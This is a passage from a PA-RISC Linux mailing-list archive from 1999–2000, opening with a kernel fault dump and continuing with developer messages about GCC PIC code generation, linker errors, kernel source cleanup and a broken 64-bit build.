c4e0 be4de3d4 7c9bc7a9 f9413a00 c0103c48 e504e803 ca09d007 9413a00f 2827401f
c500 c7f9c000 c025360c 00000000 806dcb78 00db96f1 01c198b0 03f58432 079dbd36
c520 0f4dcf3e 1eed2b2e 3dace30e c010020c f62853ce ec50a79d d8a14f3b b1429e77
c540 62853cef c57ccc8c 8af99919 15f33233 c02786c0 c7f9c000 c025360c 00000000
c560 c0278000 7629b391 ec25d270 d84ba4e1 b09749c3 612e9387 c22b925c 845724b9
c580 08ae4973 112a27b4 2222fa3a 44334126 8810371e 10206e3d 20366928 401a6702
c5a0 80427b56 0084f6ad 017f5808 c0268f74 0566bfd6 0abbcafe 150120ae 2a74f40e
c5c0 00000001 c0257000 52901f9d a5568a68 00000060 ffffffff 00000021 c022a088
c5e0 a9ff3872 53fe70e5 a78a5498 c0268eb8 9e5fe730 3cbfce61 79092990 f264e672
c600 c02778b4 c027787c 00000000 00000000 00000000 c7f9c614 c7f9c614 c021157c
c620 00000000 00000000 00000000 c026d298 c7f9c614 c0295000 c02778b4 c027785c
c640 c0250800 00000000 00000000 00000000 000000fa 000000f2 000000ff c02696c8
c660 000000f0 c0292800 c0295000 c026de04 c0291000 c02778b4 c027786c c0291000
c680 c0295000 c023a000 c0291000 c02778b4 c0277880 c7ffca00 01234567 c7f9c000
c6a0 00000000 00000000 c0295000 c026ddc8 c0291000 00010800 c7f9c608 c024e220
c6c0 000000f0 c0292800 c0295000 c023a000 c0291000 c02778b4 c0277880 c02696c8
c6e0 000000f0 c0292800 c0295000 c02734cc c0291000 c02778b4 c0277880 c024e220
c700 c025d800 c01c3870 ffffffff c025d18c c7ffc400 00001000 00000010 c021ee78
c720 c028d000 c028d2f8 c01c3870 c0271584 c025d2b8 c025d15c c7f9c900 00000000
c740 ffffffff 0000ffe0 0060b03c 08d40000 00000000 00000008 c02696c8 000000f0
c760 c0292800 c025d800 c01c3870 ffffffff c025d18c c7ffc400 c0287800 c0257000
c780 00000063 00000008 c7f9c758 c02962c4 c0257000 00000000 c025d161 00000000
c7a0 c017e2a0 c017e300 c017e4c4 c02712ec f0100000 f0001180 f0000070 f0000068
c7c0 0004000b c0291800 c02712ec 00000000 c7ffc400 ffffffff c01c3870 c025d800
c7e0 c0292800 000000f0 00000000 000000ff 000000f2 000000fa 000000fd f0100000
c800 f0001180 f0000070 f0000068 00000000 c7f9c74e 00000002 c0271574 ffd07000
c820 c7f9c750 00000f20 00000000 c023a000 00000001 00000000 c7f9ca00 0027b9b8
c840 000b0800 00000000 0000001f 00000000 0000001f 00000000 0000001f 00000000
c860 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c880 00000010 00000020 7f7fffff ffffffff 43ebebeb e0000000 00000000 00000000
c8a0 45e69c6a 25b7ea20 41800000 00000000 00000010 00000010 00000000 00000000
c8c0 00000040 00000080 00000100 00000200 00000400 00000800 7fffffff 7fffffff
c8e0 41000000 00000000 7fffffff 7fffffff 40800000 00000000 41000000 00000000
c900 40300000 00000000 40200000 00000000 40200000 00000000 41800000 7fffffff
c920 40000000 00000000 40000000 00000000 40800000 00000000 41000000 00000000
c940 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c960 00000000 00000000 c0271308 c027130c 40800000 00000000 41000000 00000000
c980 00000000 000000fd 000000fa 000000f2 0000001f 0e681096 00000000 00000004
c9a0 00000001 00000000 c024f118 c024f458 c024f258 00000000 41000000 00000000
c9c0 00000000 00000000 00000000 00000000 00000000 00000000 00000000 00000000
c9e0 00000000 00000000 c0117a14 c0104704 c024f258 a0174c55 402e98ab 802b8404

Data access rights fault in kernel: Code=26 regs=c7f9c7c0 (Addr=00000004)

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001000000000000001011
r0-3     00000000 c0291800 c02712ec 00000000
r4-7     c7ffc400 ffffffff c01c3870 c025d800
r8-11    c0292800 000000f0 00000000 000000ff
r12-15   000000f2 000000fa 000000fd f0100000
r16-19   f0001180 f0000070 f0000068 00000000
r20-23   c7f9c74e 00000002 c0271574 ffd07000
r24-27   c7f9c750 00000f20 00000000 c023a000
r28-31   00000001 00000000 c7f9ca00 0027b9b8
sr0-4    00000000 00000000 00000000 00000000
sr4-8    00000000 00000000 00000000 00000000

IASQ: 00000000 00000000 IAOQ: c0271308 c027130c
 IIR: 0e681096    ISR: 00000000  IOR: 00000004
ORIG_R28: 000000fd

--------------22544189CD8A530A463B2CD4--


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 2 Dec 2000 18:08:08 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200012022308.SAA04397@hiauly1.hia.nrc.ca>
References: <Pine.LNX.4.21.0012021932030.21742-100000@front.linuxcare.com.au>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619382 7859 80.91.229.3 (22 Nov 2014 01:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:02 +0000 (UTC)
Cc: rhirst@linuxcare.com, parisc-linux@thepuffingroup.com,
        gcc-patches@gcc.gnu.org
To: alan@linuxcare.com.au (Alan Modra)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Dec  2 16:06:01 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA09814
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 16:06:00 -0700
Original-Received: (qmail 31348 invoked by uid 15267); 2 Dec 2000 23:08:27 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31331 invoked from network); 2 Dec 2000 23:08:26 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 23:08:26 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA04397;
	Sat, 2 Dec 2000 18:08:08 -0500 (EST)
In-Reply-To: <Pine.LNX.4.21.0012021932030.21742-100000@front.linuxcare.com.au> from "Alan Modra" at Dec 2, 2000 11:35:19 pm
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8734

> I prefer this patch, which strikes at the heart of the problem, and
> doesn't seem to cause any new problems.  (apart from an unnecessary
> register transfer at the end of some functions)
> 
> 	* flow.c (mark_regs_live_at_end): Set PIC_OFFSET_TABLE_REGNUM even
> 	when PIC_OFFSET_TABLE_REG_CALL_CLOBBERED.

The comment above is incorrect.  It should read "Set SET_REGNO_REG_SET for
PIC_OFFSET_TABLE_REGNUM if it is a fixed register".

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 2 Dec 2000 18:28:16 -0500 (EST)
Lines: 41
Approved: news@gmane.org
Message-ID: <200012022328.SAA04574@hiauly1.hia.nrc.ca>
References: <200012020748.CAA27280@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619382 7866 80.91.229.3 (22 Nov 2014 01:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:02 +0000 (UTC)
Cc: alan@linuxcare.com.au, law@cygnus.com, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com
To: dave@hiauly1.hia.nrc.ca (John David Anglin)
Original-X-From: dave@hiauly1.hia.nrc.ca  Sat Dec  2 16:25:57 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA10263
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 16:25:56 -0700
Original-Received: (qmail 13177 invoked by uid 15267); 2 Dec 2000 23:28:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 13160 invoked from network); 2 Dec 2000 23:28:27 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.100.193)
  by mailserv2.iuinc.com with SMTP; 2 Dec 2000 23:28:27 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id SAA04574;
	Sat, 2 Dec 2000 18:28:16 -0500 (EST)
In-Reply-To: <200012020748.CAA27280@hiauly1.hia.nrc.ca> from "John David Anglin" at Dec 2, 2000 02:48:45 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:8735

> > In testing this, I tried to build glibc.  However, there seems to be
> > a problem with `L' character constants.  I keep getting the error
> > "character constant too long".  As another test, I am running a PIC
> > bootstrap and check in 32 bit mode under hpux 10.20.
> 
> The build failed but its too late to figure out what's wrong.

I reverted the pic patch that I was testing and still get the same build
failure when building with "-g -O3 -fPIC".

stage1/xgcc -Bstage1/ -B/usr/local/hppa1.1-hp-hpux10.20/bin/ -c  -DIN_GCC    -g -O3 -fPIC -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long  -DHAVE_CONFIG_H    -I. -I. -I../../gcc -I../../gcc/. -I../../gcc/config -I../../gcc/../include ../../gcc/c-decl.c -o c-decl.o
../../gcc/c-decl.c: In function `groktypename':
../../gcc/c-decl.c:7212: warning: ICE: would have deleted prologue/epilogue insn
(insn 162 160 163 (set (reg:SI 4 %r4)
        (reg:SI 19 %r19)) -1 (nil)
    (nil))
../../gcc/c-decl.c: In function `groktypename_in_parm_context':
../../gcc/c-decl.c:7212: warning: ICE: would have deleted prologue/epilogue insn

(insn 162 160 163 (set (reg:SI 4 %r4)
        (reg:SI 19 %r19)) -1 (nil)
    (nil))
stage1/xgcc -Bstage1/ -B/usr/local/hppa1.1-hp-hpux10.20/bin/ -c  -DIN_GCC    -g -O3 -fPIC -W -Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -Wtraditional -pedantic -Wno-long-long  -DHAVE_CONFIG_H    -I. -I. -I../../gcc -I../../gcc/. -I../../gcc/config -I../../gcc/../include ../../gcc/c-typeck.c -o c-typeck.o
../../gcc/c-typeck.c: In function `really_start_incremental_init':
../../gcc/c-typeck.c:5180: output_operand: invalid expression as operand
../../gcc/c-typeck.c:5180: Internal compiler error in output_operand_lossage, at final.c:3397
confused by earlier errors, bailing out
make[2]: *** [c-typeck.o] Error 1
make[2]: Leaving directory `/xxx/gnu/gcc-2.97/objdir/gcc'
make[1]: *** [stage_c] Error 2
make[1]: Leaving directory `/xxx/gnu/gcc-2.97/objdir/gcc'
make: *** [bootstrap-lean] Error 2

Looks like there is still more work to be done regarding pic code generation
for the hppa.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Richard Henderson <rth@redhat.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sat, 2 Dec 2000 17:50:07 -0800
Lines: 17
Approved: news@gmane.org
Message-ID: <20001202175007.A28085@redhat.com>
References: <20001202114327.C27671@redhat.com> <200012022301.SAA04377@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619382 7869 80.91.229.3 (22 Nov 2014 01:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:02 +0000 (UTC)
Cc: alan@linuxcare.com.au, rhirst@linuxcare.com,
        parisc-linux@thepuffingroup.com, gcc-patches@gcc.gnu.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: rth@cygnus.com  Sat Dec  2 18:48:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id SAA12112
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 18:48:03 -0700
Original-Received: (qmail 15501 invoked by uid 15267); 3 Dec 2000 01:50:20 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 15398 invoked from network); 3 Dec 2000 01:50:15 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 3 Dec 2000 01:50:15 -0000
Original-Received: from dot.cygnus.com (dot.cygnus.com [205.180.230.224])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id RAA06709;
	Sat, 2 Dec 2000 17:50:13 -0800 (PST)
Original-Received: (rth@localhost) by dot.cygnus.com (8.9.3/8.6.4) id RAA28091; Sat, 2 Dec 2000 17:50:08 -0800
X-Mailer: Mutt 0.95.5i
In-Reply-To: <200012022301.SAA04377@hiauly1.hia.nrc.ca>; from John David Anglin on Sat, Dec 02, 2000 at 06:01:27PM -0500
Xref: news.gmane.org gmane.linux.ports.parisc:8736

On Sat, Dec 02, 2000 at 06:01:27PM -0500, John David Anglin wrote:
> I saw this but for some reason it didn't stop the set after the call
> from being deleted in the combine pass.

Oh, right.

In any case, the patch is applied in the wrong place.  It
needs to happen in calculate_global_regs_live, near

      /* Force the stack pointer to be live -- which might not already be
         the case for blocks within infinite loops.  */
      SET_REGNO_REG_SET (new_live_at_end, STACK_POINTER_REGNUM);



r~


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Modra <alan@linuxcare.com.au>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: pa reload problem
Date: Sun, 3 Dec 2000 14:30:07 +1100 (EST)
Lines: 18
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.21.0012031415130.16588-100000@front.linuxcare.com.au>
References: <20001202114327.C27671@redhat.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619382 7875 80.91.229.3 (22 Nov 2014 01:23:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:02 +0000 (UTC)
Cc: John David Anglin <dave@hiauly1.hia.nrc.ca>,
        Richard Hirst <rhirst@linuxcare.com>, parisc-linux@thepuffingroup.com,
        gcc-patches@gcc.gnu.org
To: Richard Henderson <rth@redhat.com>
Original-X-From: alan@linuxcare.com.au  Sat Dec  2 20:28:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id UAA14031
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 20:28:06 -0700
Original-Received: (qmail 22469 invoked by uid 15267); 3 Dec 2000 03:30:37 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 22381 invoked from network); 3 Dec 2000 03:30:33 -0000
Original-Received: from linuxcare.com.au (HELO front.linuxcare.com.au) (203.29.91.49)
  by mailserv2.iuinc.com with SMTP; 3 Dec 2000 03:30:33 -0000
Original-Received: from localhost (alan@localhost)
	by front.linuxcare.com.au (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA22117;
	Sun, 3 Dec 2000 14:30:07 +1100
In-Reply-To: <20001202114327.C27671@redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8737

On Sat, 2 Dec 2000, Richard Henderson wrote:

> On Sat, Dec 02, 2000 at 11:35:19PM +1100, Alan Modra wrote:
> > 	* flow.c (mark_regs_live_at_end): Set PIC_OFFSET_TABLE_REGNUM even
> > 	when PIC_OFFSET_TABLE_REG_CALL_CLOBBERED.
> 
> I can't believe this makes a difference.  We already have

It did, I can assure you.  Thanks for the feedback though.  I'll freely 
admit to not having much of an understanding of gcc internals.  What I've 
learned has mostly been from poking around with gdb when faced with a gcc 
bug, and I rely on you and others pointing out the proper fix from a
higher level perspective.

Alan Modra
-- 
Linuxcare.  Support for the Revolution.


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mark Klein <mklein@dis.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linker errors
Date: Wed, 05 May 1999 06:46:20 -0700
Lines: 24
Approved: news@gmane.org
Message-ID: <4.1.19990505064359.00c59a40@garfield.dis.com>
References: <Pine.LNX.3.96.990505012802.22012I-100000@devserv.devel.redhat.com> <Pine.LNX.3.96.990504232216.456A-100000@quark.ix.netcom.com
 >
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"
X-Trace: ger.gmane.org 1416619383 7878 80.91.229.3 (22 Nov 2014 01:23:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kumar <kumar@ix.netcom.com>, Alex deVries <adevries@redhat.com>
Original-X-From: mklein@dis.com  Thu Apr 29 06:02:42 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id GAA16379
	for <parisc-linux@puffin.external.hp.com>; Thu, 29 Apr 1999 06:02:41 -0600
Original-Received: (qmail 10945 invoked by uid 15267); 5 May 1999 13:44:16 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 10937 invoked from network); 5 May 1999 13:44:15 -0000
Original-Received: from garfield.dis.com (199.4.97.30)
  by mailserv2.iuinc.com with SMTP; 5 May 1999 13:44:15 -0000
Original-Received: from garfield (199.4.97.30) by garfield.dis.com
 (EMWAC SMTPRS 0.81) with SMTP id <B0000026376@garfield.dis.com>;
 Wed, 05 May 1999 06:46:21 -0700
X-Sender: mark@garfield.dis.com
X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 
In-Reply-To: <Pine.LNX.3.96.990504232216.456A-100000@quark.ix.netcom.com
 >
Original-References: <Pine.LNX.3.96.990505012802.22012I-100000@devserv.devel.redhat.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8738

At 11:30 PM 5/4/99 -0700, Kumar wrote:
>On Wed, 5 May 1999, Alex deVries wrote:
>
>> 
>> > parisc-linux-ld -L. -R 0x100000 -N -S rom_interface.o setup.o utils.o
>> > strutils.o bcopy.o main.o io.o -l milli -o vmlinux
>> > rom_interface.o($CODE$+0xe4): undefined reference to `$$dyncall'
>> > main.o: In function `parisc_init':
>> > main.o($CODE$+0x208): undefined reference to `$$divU'
>> > make: *** [vmlinux] Error 1
>> 
>> Hm.  I don't get this at all... it certainly links for me.  I do get a lot
>> of errors with the linker itself, but nothing fatal.
>> 
>> Are you using the pre-built cross compilers? If so, which ones?

These millicode calls should probably resolve through libmilli.a. I see it
included in the link step, but is your libmilli correct?

--
Mark Klein                                 DIS International, Ltd.
http://www.dis.com                         415-892-8400
PGP Public Key Available			


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] merge activity
Date: Sat, 02 Dec 2000 21:11:48 -0800
Lines: 41
Approved: news@gmane.org
Message-ID: <200012030511.VAA02450@milano.cup.hp.com>
References: <20001202210803.D8288@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619383 7883 80.91.229.3 (22 Nov 2014 01:23:03 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:03 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Matthew Wilcox <matthew@wil.cx>
Original-X-From: grundler@cup.hp.com  Sat Dec  2 22:08:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id WAA15293
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 22:08:49 -0700
Original-Received: (qmail 24057 invoked by uid 15267); 3 Dec 2000 05:11:21 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 24050 invoked from network); 3 Dec 2000 05:11:21 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 3 Dec 2000 05:11:21 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id 96D7D804; Sat,  2 Dec 2000 21:11:20 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id VAA02450;
	Sat, 2 Dec 2000 21:11:51 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 02 Dec 2000 21:08:03 PST."
             <20001202210803.D8288@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:8739

Matthew Wilcox wrote:
> those on the CVS list will have noticed a lot of activity just recently.
> Alan Cox & myself are geting the tree into a state where it can be dropped
> on Linus.

Excellent you guys!

> A number of changes have been made:
> 
> s/STATIC/static/

It's ok that's it dropped but since I added I think you should know
why o put it in, in the first place.

Prumpf criticized this in my first dino code drop claiming one
could just compile with "-Dstatic=" to get the same effect
as "-DSTATIC=". That's not true. data declared static inside
a function will behave differently without "static" storage class.
STATIC serves to differentiate function declarations from local
static data declarations.

Why differentiate? Debuggers. I want to make sure all the symbols
I care about are visible - I'm told under ELF they are. Under SOM
binary format I know they weren't.

> u_long becomes unsigned long

I've been using "ulong" as well. Is less than desirable as well?
Feel free to change if it is.

> old code has mostly been cleaned out
> a lot of #ifdefs have been removed.

Some of the "ifdef 0" I have in "my" code are there for future stuff.
An examples is code related to DELAYED_RESOURCE_CNT in sba_iommu.c.
Fortunately, this wasn't removed.
Haw should I mark this to make sure people understand it's work-in-progress?

thanks,
grant


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] merge activity
Date: Sat, 02 Dec 2000 22:56:28 -0800
Lines: 23
Approved: news@gmane.org
Message-ID: <200012030656.WAA02559@milano.cup.hp.com>
References: <200012030511.VAA02450@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619384 7887 80.91.229.3 (22 Nov 2014 01:23:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:04 +0000 (UTC)
Cc: Matthew Wilcox <matthew@wil.cx>, parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: grundler@cup.hp.com  Sat Dec  2 23:53:28 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id XAA16444
	for <parisc-linux@puffin.external.hp.com>; Sat, 2 Dec 2000 23:53:27 -0700
Original-Received: (qmail 23394 invoked by uid 15267); 3 Dec 2000 06:55:59 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 23383 invoked from network); 3 Dec 2000 06:55:59 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 3 Dec 2000 06:55:59 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel3.hp.com (Postfix) with ESMTP
	id DAE166D5; Sat,  2 Dec 2000 22:55:58 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id WAA02559;
	Sat, 2 Dec 2000 22:56:29 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Sat, 02 Dec 2000 21:11:48 PST."
             <200012030511.VAA02450@milano.cup.hp.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8740

Grant Grundler wrote:
> > u_long becomes unsigned long
> 
> I've been using "ulong" as well. Is less than desirable as well?
> Feel free to change if it is.

I see that's been done as well. np.

> > old code has mostly been cleaned out
> > a lot of #ifdefs have been removed.
> 
> Some of the "ifdef 0" I have in "my" code are there for future stuff.
> An examples is code related to DELAYED_RESOURCE_CNT in sba_iommu.c.
> Fortunately, this wasn't removed.
> Haw should I mark this to make sure people understand it's work-in-progress?

I do see #ifdef DUMP_RESMAP code (not much code) has been removed.
Obviously it wasn't marked right. :^)
(arch/parisc/kernel/sba_iommu.c)

later,
grant


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64-bit build broken
Date: Sun, 3 Dec 2000 01:04:08 -0800 (PST)
Lines: 19
Approved: news@gmane.org
Message-ID: <200012030904.BAA02744@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619384 7893 80.91.229.3 (22 Nov 2014 01:23:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:04 +0000 (UTC)
To: parisc-linux@puffin.external.hp.com
Original-X-From: grundler@cup.hp.com  Sun Dec  3 02:02:21 2000
Original-Received: from cosrel2.hp.com (cosrel2.hp.com [156.153.255.162])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id CAA17904
	for <parisc-linux@puffin.external.hp.com>; Sun, 3 Dec 2000 02:02:20 -0700
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by cosrel2.hp.com (Postfix) with ESMTP id EAB9D3AF
	for <parisc-linux@puffin.external.hp.com>; Sun,  3 Dec 2000 02:04:52 -0700 (MST)
Original-Received: (from grundler@localhost)
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) id BAA02744
	for parisc-linux@puffin.external.hp.com; Sun, 3 Dec 2000 01:04:08 -0800 (PST)
Xref: news.gmane.org gmane.linux.ports.parisc:8741


This could be related to willy's changes - I have no idea.
After setting CROSS-COMPILE = hppa64-linux-

make distclean
make clean
make oldconfig
make -j4 dep
make -j4 palo
...
hppa64-linux-ld: cannot open hardware_proc.o: No such file or directory
make[1]: *** [kernel.o] Error 1
make[1]: Leaving directory `/linux/pa64/linux/arch/parisc64/kernel'


I was able to build/link stuff on Friday...and it's way past my bedtime now.

grant


From - Thu Nov 08 21:14:31 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alan Cox <alan@lxorguk.ukuu.org.uk>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64-bit build broken
Date: Sun, 3 Dec 2000 13:07:22 +0000 (GMT)
Lines: 6
Approved: news@gmane.org
Message-ID: <E142YrT-0002i5-00@the-village.bc.nu>
References: <200012030904.BAA02744@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619384 7897 80.91.229.3 (22 Nov 2014 01:23:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:23:04 +0000 (UTC)
Cc: parisc-linux@puffin.external.hp.com
To: grundler@cup.hp.com (Grant Grundler)
Original-X-From: alan@lxorguk.ukuu.org.uk  Sun Dec  3 06:14:36 2000
Original-Received: from the-village.bc.nu (lightning.swansea.linux.org.uk [194.168.151.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id GAA20641
